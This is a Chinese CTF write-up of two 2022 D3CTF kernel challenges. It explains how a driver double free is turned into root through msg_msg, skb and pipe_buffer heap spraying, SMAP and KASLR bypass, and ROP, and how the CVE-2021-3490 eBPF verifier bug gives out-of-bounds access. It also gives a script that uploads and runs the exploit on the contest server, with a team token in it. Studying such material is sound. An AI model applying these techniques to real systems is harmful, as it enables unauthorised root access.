2022D3CTF

2022D3CTF 2道KernelPwn WP

这次比赛做出来2道kernelpwn,但是都是非预期解,所以这里深入分析一下正解

D3kheap

题目分析

这题极其简陋

image-20220323155450388

ioctl 0x1234可以分配一个index为10的chunk,根据原来找的表,index10是512~1024范围

image-20220323155733858

image-20220323160059426

输入dead可以free掉这个chunk,read write等函数都没实现,

漏洞分析

这题的源头是CVE-2021-22555,核心结构体是msg_msg

隐藏十五年的漏洞:CVE-2021-22555 漏洞分析与复现 - FreeBuf网络安全行业门户

CVE-2021-22555: Turning \x00\x00 into 10000$ | security-research (google.github.io)

CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)

因为利用要用到msg结构体,所以需要围绕消息队列函数

msg源码分析

(23条消息) 消息队列函数(msgget、msgctl、msgsnd、msgrcv)及其范例_guoping16的专栏-CSDN博客_msgsnd

msg结构体

1
2
3
4
5
6
7
8
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security; // security指针总为0,因为未开启SELinux
/* the actual message follows immediately */
};

Linux内核提供了两个syscall来进行IPC通信,msgsnd()和msgrcv(),内核消息包含两个部分,消息头msg_msg结构和紧跟的消息数据,长度从64到4096

msgsnd

调用链如下

msgsnd -> ksys_msgsnd -> do_msgsnd ->load_msg -> alloc_msg分配消息头和消息数据,然后调用load_msg -> copy_from_user把用户数据拷贝到内核

先msgget创建一个消息队列,返回值是队列句柄,用同一个句柄发送和接受消息才共用一个消息队列

1
2
3
4
5
6
7
8
9
10
11
struct msgbuf
{
long mtype;
char mtext[0x1fc8];
} msg;

msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));

qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);

用户层发消息需要构建一个msgbuf,mtype是消息类型,mtext不定长,存放消息内容

alloc_msg负责在内核中创建消息

如果消息长度超过0xfd0,则分段存储,采用单链表连接,第1个称为消息头,用 msg_msg 结构存储;第2、3个称为segment,用 msg_msgseg 结构存储。消息的最大长度由 /proc/sys/kernel/msgmax 确定, 默认大小为 8192 字节,所以最多链接3个成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG); // [1] len 是用户提供的数据size,本例中为0x1fc8。 DATALEN_MSG = ((size_t)PAGE_SIZE - sizeof(struct msg_msg)) = 0x1000-0x30 = 0xfd0。 本例中 alen = 0xfd0
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // [2] 这里分配 0x1000 堆块,对应 kmalloc-4096
if (msg == NULL)
return NULL;

msg->next = NULL;
msg->security = NULL;

len -= alen; // [3] 待分配的size,继续分配,用单链表存起来。 len = 0x1fc8-0xfd0 = 0xff8
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;

cond_resched();

alen = min(len, DATALEN_SEG); // [4] DATALEN_SEG = ((size_t)PAGE_SIZE - sizeof(struct msg_msgseg)) = 0x1000-0x8 = 0xff8。 alen = 0xff8
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT); // [5] 还是分配 0x1000,位于kmalloc-4096
if (seg == NULL)
goto out_err;
*pseg = seg; // [6] 单链表串起来
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}

return msg;

out_err:
free_msg(msg);
return NULL;
}

load_msg负责把消息从用户层拷贝过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len); // [1]
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG);
if (copy_from_user(msg + 1, src, alen)) // [2] 从用户态拷贝数据,0xfd0字节
goto out_err;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen)) // [3] 剩下的拷贝到其他segment,0xff8字节
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}

所以在内核中消息结构长成下面这样

image-20220323163712399

msgrsv

调用链如下 msgrcv -> ksys_msg_rcv ->do_msg_rcv -> find_msg &&do_msg_fill &&free_msg

调用find_msg来定位正确的消息,将消息从队列中unlink,再调用do_msg_fill -> store_msg 来讲内核数据拷贝到用户空间,最后调用free_msg释放消息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
long ksys_msgrcv(int msqid, struct msgbuf __user *msgp, size_t msgsz,
long msgtyp, int msgflg)
{
return do_msgrcv(msqid, msgp, msgsz, msgtyp, msgflg, do_msg_fill);
}

static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{ // 注意:msg_handler 参数实际指向 do_msg_fill() 函数
int mode;
struct msg_queue *msq;
struct ipc_namespace *ns;
struct msg_msg *msg, *copy = NULL;
DEFINE_WAKE_Q(wake_q);
... ...
if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax)); // [4]
if (IS_ERR(copy))
return PTR_ERR(copy);
}
mode = convert_mode(&msgtyp, msgflg);

rcu_read_lock();
msq = msq_obtain_object_check(ns, msqid);
... ...
for (;;) {
struct msg_receiver msr_d;

msg = ERR_PTR(-EACCES);
if (ipcperms(ns, &msq->q_perm, S_IRUGO))
goto out_unlock1;

ipc_lock_object(&msq->q_perm);

/* raced with RMID? */
if (!ipc_valid_object(&msq->q_perm)) {
msg = ERR_PTR(-EIDRM);
goto out_unlock0;
}

msg = find_msg(msq, &msgtyp, mode); // [1] 调用 find_msg() 来定位正确的消息。之后检查并unlink消息。
if (!IS_ERR(msg)) {
/*
* Found a suitable message.
* Unlink it from the queue.
*/
if ((bufsz < msg->m_ts) && !(msgflg & MSG_NOERROR)) {
msg = ERR_PTR(-E2BIG);
goto out_unlock0;
}
/*
* If we are copying, then do not unlink message and do
* not update queue parameters.
*/
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy); // [5] 若设置了MSG_COPY,则跳出循环,避免unlink
goto out_unlock0;
}

list_del(&msg->m_list);
... ...
}

out_unlock0:
ipc_unlock_object(&msq->q_perm);
wake_up_q(&wake_q);
out_unlock1:
rcu_read_unlock();
if (IS_ERR(msg)) {
free_copy(copy);
return PTR_ERR(msg);
}

bufsz = msg_handler(buf, msg, bufsz); // [2] 调用 do_msg_fill() 把消息从内核拷贝到用户。具体代码如下所示
free_msg(msg); // [3] 拷贝完成后,释放消息。

return bufsz;
}

注意这里关键当设置了MSG_COPY之后,就不会走到list_del也就是msg只是拷贝出来但是消息依然在消息队列里面,但是这里还有个疑问,虽然msg没被断链,但是下面调用了free_msg,明显不符合逻辑,这里wake_up_q好像是唤起线程,是不是跟这有关?

do_fill做实际的拷贝工作

do_msg_fill() -> store_msg() 。和创建消息的过程一样,先拷贝消息头(msg_msg结构对应的数据),再拷贝segment(msg_msgseg结构对应的数据)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
static long do_msg_fill(void __user *dest, struct msg_msg *msg, size_t bufsz)
{
struct msgbuf __user *msgp = dest;
size_t msgsz;

if (put_user(msg->m_type, &msgp->mtype))
return -EFAULT;

msgsz = (bufsz > msg->m_ts) ? msg->m_ts : bufsz; // [1] 检查请求的数据长度是否大于 msg->m_ts ,超过则只能获取 msg->m_ts 长度的数据(为了避免越界读)。本例中,msgsz 为0x1fc8字节,
if (store_msg(msgp->mtext, msg, msgsz)) // [2] 最后调用 store_msg()将 msgsz也即0x1fc8字节拷贝到用户空间,代码如下所示
return -EFAULT;
return msgsz;
}

int store_msg(void __user *dest, struct msg_msg *msg, size_t len)
{
size_t alen;
struct msg_msgseg *seg;

alen = min(len, DATALEN_MSG); // [1] 和创建消息的过程一样,alen=0xfd0
if (copy_to_user(dest, msg + 1, alen)) // [2] 先拷贝消息头
return -1;

for (seg = msg->next; seg != NULL; seg = seg->next) { // [3] 遍历其他segment
len -= alen;
dest = (char __user *)dest + alen;
alen = min(len, DATALEN_SEG); // [4] 本例中为0xff8
if (copy_to_user(dest, seg + 1, alen)) // [5] 再拷贝segment
return -1;
}
return 0;
}

最后简单看一下free_msg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void free_msg(struct msg_msg *msg)
{
struct msg_msgseg *seg;

security_msg_msg_free(msg);

seg = msg->next;
kfree(msg); // [1] 释放 msg_msg
while (seg != NULL) { // [2] 释放 msg_msgseg
struct msg_msgseg *tmp = seg->next;

cond_resched();
kfree(seg); // [3]
seg = tmp;
}
}

CVE-2021-22555

CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)

首先用msgget创建4096个消息队列,消息队列数目没有限制,越多越稳定

填充4096个消息队列,填充4096个消息,消息大小为0x1000,得到一个整齐的空间布局,使得msg-msg尽可能的相邻

image-20220323170104927

为每个消息队列添加辅助消息,辅助消息的大小为0x400

这里是消息队列的图,消息的图如下,m_list是链接相同消息队列中的消息,next是链一个消息里的不同块

image-20220323170154929

添加完辅助消息后,内存图长这样

image-20220323170206236

释放部分主消息,比如1024、2048、3072获得0x1000内存空洞,来让程序中的受控结构体获得(xt_table_info),这样就能利用2字节溢出写0

image-20220323170233924

利用2字节溢出,将相邻的msg_msg结构体中msg_msg->m_list->next末尾两字节覆盖为0, 使得该主消息的msg_msg->m_list->next指向其他主消息的辅助消息。

image-20220323170932884

目的:使某个内存被两个主消息引用。

接下来定位一下发生错误的消息队列

方法:直接查看消息内存,如果主消息和辅助消息队列的标识不同,则表示主消息msg_msg->m_list->next成员被修改。为保证查看消息时,避免消息被释放,需使用

需使用MSG_COPY标志接收消息。

假设现在主消息1和主消息2的msg_msg->m_list ->next指向相同的辅助消息

1.主消息1放弃辅助消息msg_msg, skb占据msg_msg

2.主消息2放弃辅助消息msg_msg, victim结构占据msg_msg

3.此时skb与victim结构占据同一内存空间

4.修改skb劫持victim结构内函数指针

5.触发victim结构函数指针,劫持控制流

但是注意到当实现步骤2时,必须伪造msg_msg->m_list->next成员,如果此时主消息2释放msg_msg,辅助消息会被从循环链表msg_msg->m_list中去除,也就是说此阶段会涉及到对于msg_msg->m_list->next的读写,而next在第一次断链应该变成了0,因为开启了smap保护机制,所以在用户态伪造该字段无意义,内核在此处会检查到smap错误,利用失败,所以接下来需要绕过SMAP。

image-20220323171203920

skb堆喷并伪造辅助消息,重新分配的消息msg_msg,伪造其m_ts要大于0x400,这样就可以越界读到下一个辅助消息的结构体

image-20220323173513051

由于m_ts变大,可以越界读取相邻辅助消息的消息头,主要是泄露msg_msg->m_list->next和msg_msg->m_list->prev(相邻辅助消息的主消息堆地址,记为kheap_addr)

释放skb,重新填充该fake辅助消息,msg_msg->next = kheap_addr,因此,某个主消息成了该辅助消息的segment(msg_msgseg结构)。这样就能越界读取主消息的头,主消息的msg_msg->m_list->next指向与之对应的辅助消息,也即fake辅助消息相邻的辅助消息,该内存地址-0x400,即为fake辅助消息的真实地址。

再次释放skb,将fake辅助消息的msg_msg->m_list->next填充为该fake辅助消息的真实地址,即可再次释放fake辅助消息时避免SMAP崩溃。

怎么绕过SMAP?

后来才看懂,第二次free的时候,因为m_list里面的next和prev都是瞎填的值,所以断链的时候会出错,要想不出错,只要把prev和next都改到指向当前chunk,这样双向链表的条件就满足了,也就是都指向自己,这样再断链就可以绕过SMAP

再贴一下两个结构体

1
2
3
4
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
1
2
3
4
5
6
7
8
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security; // security指针总为0,因为未开启SELinux
/* the actual message follows immediately */
};

下面绕过KASLR泄露内核基地址

方法:伪造fake辅助消息,msg_msg->m_list->next == msg_msg->m_list->pre == fake辅助消息;利用主消息2释放辅助消息,使用pipefd函数分配pipe_buffer结构体重新占据fake辅助消息堆块;通过读skb泄露anon_pipe_buf_ops地址,绕过KASLR。pipe_buffer结构体中ops成员指向全局变量anon_pipe_buf_ops。

成型的堆图

image-20220323175729361

此时skb与pipe_buffer占据同一块内存,利用skb伪造pipe_buffer->ops指向本堆块,再伪造pipe_buffer->ops->release指向第1个ROPgadget,劫持控制流。

pipe

用到的补充结构

pipe_buffer分配:alloc_pipe_info() —— 分配大小为0x370(默认16个page,16*0x28=0x370),所以位于0x400堆块中。

image-20220323180001568

image-20220323180020078

791  792  • ->bLJfls  Pipe  = kcaltoc( n: pipe_bufs, size: sizeof(struct pipe_buffer) ,  flags: ;

pipe首先是一个结构体pip_inode_info ,其中的buf指向多个pipe_buffer,默认是16个就形成了评论里说的,0x280

image-20220323180037197

pipe中的operation是全局指针

1
2
3
4
5
6
7
8
9
10
11
const struct file_operations pipefifo_fops = {
.open = fifo_open, // <------- open
.llseek = no_llseek,
.read_iter = pipe_read, // <------- read
.write_iter = pipe_write, // <------- write
.poll = pipe_poll,
.unlocked_ioctl = pipe_ioctl,
.release = pipe_release, // <------- release
.fasync = pipe_fasync,
.splice_write = iter_file_splice_write,
};

所以可以用了泄露内核base

pipe_buffer释放pipe_release() -> put_pipe_info() -> free_pipe_info -> pipe_buf_release() 调用pipe_buffer->ops->release 函数,可劫持控制流。

1
2
3
4
5
6
7
8
static inline void pipe_buf_release(struct pipe_inode_info *pipe,
struct pipe_buffer *buf)
{
const struct pipe_buf_operations *ops = buf->ops;

buf->ops = NULL;
ops->release(pipe, buf); // 劫持控制流
}

skb堆喷

SKB喷射:采用socketpair()创建一对无名的、相互连接的套接字,int socketpair(int domain, int type, int protocol, int sv[2]),函数成功则返回0, 创建好的套接字分别是sv[0]和sv[1],失败则返回-1。可以往sv[0]中写,从sv[1]中读;或者从sv[1]中写,从sv[0]中读,相关函数为write()read()。也可以调用sendmsg()recvmsg()来发送和接收数据,用户参数是msghdr结构。本exp是采用write()read()进行堆喷和释放的。

Nu1l的exp

这里直接分析一下Nu1L的exp

首先这题漏洞是一个double free,前面malloc free一个chunk都没什么问题,问题在于,ref_count计数器的初始值是1,所以这里可以free两次

image-20220323181611581

image-20220323180934450

创建4096个消息队列,创建两组sbk,打开目标驱动

msg结构体,实际就是msg_buffer,虽然这里给的mtext是0x400-0x50但是发送的msg_buffer的大小还得看给了多少大小

image-20220323181029423

这一步spray_1k可以理解为先把堆中的散块alloc一下,这样剩下的堆布局就比较稳(?)

image-20220323181126685

image-20220323181050542

向消息队列0和1里面分别写入一个消息

image-20220323181152496

image-20220323181206067

分配一个buf然后释放,buf用的是1024 也就是0x400

image-20220323181227340

此时分配刚刚释放的buf到消息队列0.

image-20220323181246864

再次调用dead,去free(原来double free是这样用的),然后再分配到消息队列1里面,这样就形成了CVE里分析的两个消息队列里的主消息指向同一个辅助消息

image-20220323181640861

又给消息队列2分配了一堆消息,这些消息是紧挨着这个buf_msg的,留着过SMAP的

image-20220323181907323

释放掉消息队列1里面的msg,也就是被double free的chunk

image-20220323181934256

打堆喷sbk,伪造大小,实现越界读,

image-20220323182004981

取出数据之后,遍历内存,找到0xAAAAAAAA的位置,也就是消息队列2中的msg1,等会prev和next就设置成这个

原CVE是prev和next设置自己,这里是设置到了另一个msg,但是依然能够过SMAP

image-20220323182119409

308  309  310  311  313  - •kheapbasepre, •kheapbasenext, •prelc  free_skbuff(ss, sec,  memset( 8 sec,  sec, kheapbasenext, • kheapbasepre, •Oji"  spray_skbuff(ss, sec, sizeof(sec));  if & msg_fake, •  perror( " read_msg- GO'  • •exit(-l);_

释放sbk,重新构造带争取prev和next的sbk,堆喷上去,然后通过read_msg把msg读取出来,也就是把其free掉

image-20220323182147392

把free掉的msg堆喷到pipe上image-20220323182207006

此时sbk跟pipe_buffer就堆喷到同一块地方了

image-20220323182232800

从sbk中泄露出pip_buffer_ops的地址,只有它是内核指针,可以用这个泄露kernel base

最后劫持控制流打一个内核ROP即可

image-20220323182310704

exp上传

其实这两题是第一次成功做出来kernel pwn,以前都是赛后复现,所以exp写出来最后上传这一步都是忽略的,这一次发现问题还很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import time, os
#context.log_level = "debug"
#token:iFRI58CTyeYwhq0SDXzlWgSPWMeYIzq7
#url nc 1-lb-pwn-challenge-cluster.d3ctf.io 30597
p = remote("1-lb-pwn-challenge-cluster.d3ctf.io",30597)

os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

f = open("./b64_exp", "r")

#p.sendline()
p.recvuntil("Input your team token: ")
p.sendline("iFRI58CTyeYwhq0SDXzlWgSPWMeYIzq7")
p.recvuntil("/ $ ")
p.sendline("echo '' > /tmp/b64_exp;")

count = 1
while True:
if count%100 == 0:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> /tmp/b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("/ $")
count += 1
f.close()
print("send done")

data = p.recvuntil("$ ")
print(data)
p.sendline("base64 -d /tmp/b64_exp > /tmp/exp.tar.gz;")

data = p.recvuntil("$ ")
print(data)
p.sendline("cd /tmp")



data = p.recvuntil("$ ")
print(data)
p.sendline("tar -xzvf ./exp.tar.gz")
data = p.recvuntil("$ ")
print(data)
p.sendline("chmod +x ./exp;")
#p.interactive()
data = p.recvuntil("$ ")
print(data)

p.sendline("ls -l")
data = p.recvuntil("$ ")
print(data)

p.sendline("./exp")
data = p.recvuntil("# ")
print(data)
p.sendline("cat /flag")
data = p.recvuntil("# ")
print(data)
#data = p.recvuntil("$ ")
#print(data)
#p.recvuntil("/ $ ")
#p.sendline("ls")
#data = p.recvall()


#wget http://192.168.160.137:8000/

以上次比赛的exp上传脚本为例,首先目标服务器需要一个token

1
2
p.recvuntil("Input your team token: ")
p.sendline("iFRI58CTyeYwhq0SDXzlWgSPWMeYIzq7")

然后是把exp打包并且编码成base64

1
2
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")

等到目标虚拟机启动完毕回显出来命令行之后,在tmp里面创建b64_exp,因为一般init里面权限只给到tmp目录下,根目录一般我们没权限写

1
2
p.recvuntil("/ $ ")
p.sendline("echo '' > /tmp/b64_exp;")

一行行的传输base64,这里每100行打印一下进度

1
2
3
4
5
6
7
8
9
10
11
12
13
14
count = 1
while True:
if count%100 == 0:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> /tmp/b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("/ $")
count += 1
f.close()

最后就是解压exp,然后执行提权,然后再cat flag,这里提完权之后,还有种做法是直接切到interactive,但是有时候显示会很不正常,这里我采用发送单个命令然后打印回显,这种最稳。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
data = p.recvuntil("$ ")
print(data)
p.sendline("tar -xzvf ./exp.tar.gz")
data = p.recvuntil("$ ")
print(data)
p.sendline("chmod +x ./exp;")
#p.interactive()
data = p.recvuntil("$ ")
print(data)

p.sendline("ls -l")
data = p.recvuntil("$ ")
print(data)

p.sendline("./exp")
data = p.recvuntil("# ")
print(data)
p.sendline("cat /flag")
data = p.recvuntil("# ")
print(data)
#data = p.recvuntil("$ ")
#print(data)
#p.recvuntil("/ $ ")
#p.sendline("ls")
#data = p.recvall()

这种传输方法非常慢,网上很少有kernel pwn的文章提到这一点,然而目标一般会在几分钟后关机,所以一般我们是用musl-gcc去编译而不是glibc编译,下图是两种编译的大小差距,

image-20220316173127923

image-20220316173142152

musl编译

手动编译musl库

image-20220316173303495

一般编译命令如下,但是会报错

1
musl-gcc -static fs/exp.c -o fs/exp

因为musl-gcc没法识别linux头文件<linux/xxx.h>,2019这篇blog也提过这个问题,也提出了解决方案,既然gcc能找到,就用gcc -E先处理下,命令如下

Google CTF 2021 eBPF (mem2019.github.io)

1
2
gcc -E exp.c -o fs/exp.c
musl-gcc -static fs/exp.c -o fs/exp

非预期解

这题exp直接打包进放到了tmp目录里,而且还是能用的,估计作者搞忘了,唯一的缺陷就是给的exp应该使用gcc编译的,太大了,会遇到上面说的exp上传的问题,所以我的方法是用IDA F5逆向一份代码去打

D3bpf

题目分析

image-20220315201620979

题目给了如何编译的内核,也就变相的告诉了内核版本5.11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
### get the source

```
wget https://launchpad.net/ubuntu/+archive/primary/+sourcefiles/linux-hwe-5.11/5.11.0-60.60/linux-hwe-5.11_5.11.0.orig.tar.gz
```

### make

```
git apply < diff
make menuconfig # change nothing, save and exit
sed -i 's/CONFIG_SYSTEM_TRUSTED_KEYS=/#&/' ./.config
make bzImage -j$(nproc)
```

boot.sh KASLR smep smap都开了

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash
qemu-system-x86_64 \
-s \
-m 128M \
-kernel bzImage \
-initrd rootfs_new \
-append 'console=ttyS0 kaslr quiet' \
-monitor /dev/null \
-cpu kvm64,+smep,+smap \
-smp cores=1,threads=1 \
-nographic

diff patch掉了几个CVE,然后在ebpf的verifier上patch了一段代码,漏洞就在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
diff --git a/fs/fs_context.c b/fs/fs_context.c
index 2834d1afa..0a79c9099 100644
--- a/fs/fs_context.c
+++ b/fs/fs_context.c
@@ -530,7 +530,7 @@ static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
param->key);
}

- if (len > PAGE_SIZE - 2 - size)
+ if (size + len + 2 > PAGE_SIZE) // patch for CVE-2022-0185
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 37581919e..8e98d4af5 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -6455,11 +6455,11 @@ static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
scalar_min_max_lsh(dst_reg, &src_reg);
break;
case BPF_RSH:
- if (umax_val >= insn_bitness) {
- /* Shifts greater than 31 or 63 are undefined.
- * This includes shifts by a negative number.
- */
- mark_reg_unknown(env, regs, insn->dst_reg);
+ if (umin_val >= insn_bitness) {
+ if (alu32)
+ __mark_reg32_known(dst_reg, 0);
+ else
+ __mark_reg_known_zero(dst_reg);
break;
}
if (alu32)
diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c
index 6bbc7a448..d949fdf00 100644
--- a/net/packet/af_packet.c
+++ b/net/packet/af_packet.c
@@ -4448,9 +4448,10 @@ static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
}

out_free_pg_vec:
- bitmap_free(rx_owner_map);
- if (pg_vec)
+ if (pg_vec) {
+ bitmap_free(rx_owner_map); // patch for CVE-2021-22600
free_pg_vec(pg_vec, order, req->tp_block_nr);
+ }
out:
return err;
}

但是5.11版本的linux内核是出过几个ebpf上的CVE的,这里我也是用现有的CVE直接打的,当时打的时候只是修改了exp上的几个偏移,没有详细分析ebpf,这里就来分析一下CVE-2021-3490,同时也分析一下ebpf

ebpf

主要参考了一下几篇文章

CVE-2021-3490 eBPF 32位边界计算错误漏洞利用分析 - 安全客,安全资讯平台 (anquanke.com)

Kernel Pwning with eBPF: a Love Story - Blog | Grapl (graplsecurity.com)

Zero Day Initiative — CVE-2020-8835: Linux Kernel Privilege Escalation via Improper eBPF Program Verification

chompie1337/Linux_LPE_eBPF_CVE-2021-3490 (github.com)

[原创]Linux内核eBPF模块源码分析——verifier与jit-二进制漏洞-看雪论坛-安全社区|安全招聘|bbs.pediy.com

eBPF源码阅读笔记 | A1ex’s Blog

想搞懂这个洞,首先得看看verifier部分的源码分析,然后再去看漏洞成因,源码分析留到以后写吧,这里简单分析一下漏洞

EBPF是linux内核中的一个模块,可以将其看成一个内置虚拟机,用户层可以传入ebpf字节码来执行,这样可以看成暴漏了一个恶意代码注入的攻击面,作为内核模块,ebpf肯定不会允许用户轻易的注入恶意代码来执行,因此ebpf在执行代码前,会有一个verifier函数来对整个传入的ebpf字节码进行全面的安全分析。

其中比较关键的是对指针运算进行检测: verifier会对ebpf字节码中算术运算进行范围检测,

例如ebpf中准许用户创建一个map,这个map存在于内核中,ebpf字节码中可以直接对map进行操作,但是当一个寄存器被识别成是指向map的ptr时,其算术运算就有严格的范围,即不能超过map的大小

3490这个洞就是发生在verifier中,其使得verifier错误识别了寄存器的范围,导致OOB read和write

CVE-2021-3490 分析

verifier分析

流程中用到的所有代码

adjust_scalar_min_max_vals

image-20220317182544264

tnum_and说就是根据位去运算,没什么,然后调用scalar32_min_max_and,这个函数中间由于src_known和dst_known直接就返回了,等于32位的scalar什么都没做

image-20220317182721006

64位的scalar

image-20220317182919224

子函数mark_reg_known

image-20220317183040118

image-20220317183052533

在scalar的末尾

image-20220317183116152

image-20220317183130375

image-20220317183139237

在adjust_scalar_min_max_vals的末尾调用的

image-20220317183210877

image-20220317183225719

image-20220317183238527

按流程分析一下

image-20220317183348908

1
BPF_ALU64_REG(BPF_AND, R2, R3)

在adjust_scalar_min_max_vals里面 tnum_add首先被调用,结果是R2的var_off变成{mask=0x1 0000 0000 value = 0x0}

然后scalar32直接return,来到scalar64,由于R2mask的高32位有一个1,所以不会直接return

执行scalar64里面的update_reg_bound,其内部就是两个函数update32和update64

由于u32_max_value = 1(最开始就是1) > var_off.value = 0,所以下面这句就得到u32_max_value = 0

image-20220317183806507

同样的u32_min_value就等于1

image-20220317183822906

最后就来到adjust_scalar_min_max_vals末尾的函数

deduce_bound,deduce_bound也是两个函数

image-20220317183916513

R32的代码,可以看到上下两个分支都没满足,只会执行U32_max_value >= 0 这一个分支,也没改变bound

image-20220317183937092

Reg_bound_offset就不分析了,按blog说不会对bound有改变,结果就成了max 0 < min 1,就错了

在有了exploit_reg之后(min>max),剩下就是想办法利用

类型混淆

该利用可以把一个pointer type的reg混淆到scalar type

首先构造一个exploit_reg,其边界umin_value > umax_value

第一步说是扩展,但是没看出来哪里拓展了(不懂的地方)

image-20220317184154988

这一步ADD之后,OOB_MAP_REG就变成了Scalar type,

因为当发生指针+scalar时,会走到下面的代码片段,正好走到下面的if分支

image-20220317184257447

image-20220317184523641

Mark_reg_unkown怀就坏在把reg改成了SCALAR_VALUE,,pointer变成了scalar,后面就可以随便运算了

回到前面,OOB_MAP_REG是一个map的指针

然后把OOB_MAP_REG 存到STORE_MAP_REG,这是另一个map

image-20220317184218016

然后在user space里面读STORE_MAP_REG里面泄露的kernel address(OOB_MAP_REG)

原语REG

该利用可以构造一个reg,verifier认为其是0,但是在运行时是1

初始exploit_reg的bound u32_max_value = 0 < u32_min_value =1

img

+1 会简单的扩充bound u32_max_value = 1 and u32_min_value = 2, with var_off = {0x100000000; value = 0x1}.

BPF  BPF  _JMP32_ IMM (BPF  _ EXIT_INSN  _JLE,  UNKOWN  VALUE REG

UNKOWN_VALUE_REG是type为unknown,可以从map里读个0到这个寄存器(runtime),但是verifier会标记其为unknown

那么这里JLE,会在TRUE分支下跳过EXIT,在TRUE分支中,UNKOWN_REG会被设置成u32_min_value = 0, u32_max_value = 1

var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}.

img

ADD在不越界的情况下,只是把bound相加

所以加完之后exploit_reg边界如下 u32_min_value = 2, u32_max_value = 2

Exploit_reg原先是

var_off = {0x100000000; value = 0x1}

Unkown_reg原先是

var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}

加完之后 upper 32 bits依然是unknown,最低位也是unknown,因为两个bit相加可能是1,也可能是2,所以最低两位都是unknown,所以加完之后

Exploit_reg 的var_off {mask = 0xFFFFFFFF00000003; value = 0x0}

因为边界限定,所以ADD执行之后 {u,s}32_min_value = {u,s}32_max_value = 2

var_off = {mask = 0xFFFFFFFF00000000; value = 0x2}

也就是说现在verifier会认为exploit_reg 低32位有一个known值2

但实际上运行时其值为1

BPF  BPF  MOV32  ALL164  _ REG (EXPLOIT_REG, EXPLOIT_REG)  _ IMM (BPF_AND,  EXPLOIT REG,

这里又做了一次0拓展,一样不懂

AND,2&1 = 0

所以此时就是verifier认为其值为0,但是实际runtime时是1

OOB read & write

首先要知道map的content并不是自己独自存在在heap chunk中,而是跟一个大结构体bpf_map放在一块的,因此一旦我们能对map有了向上的越界读写,就可以通过修改bpf_map实现exploit

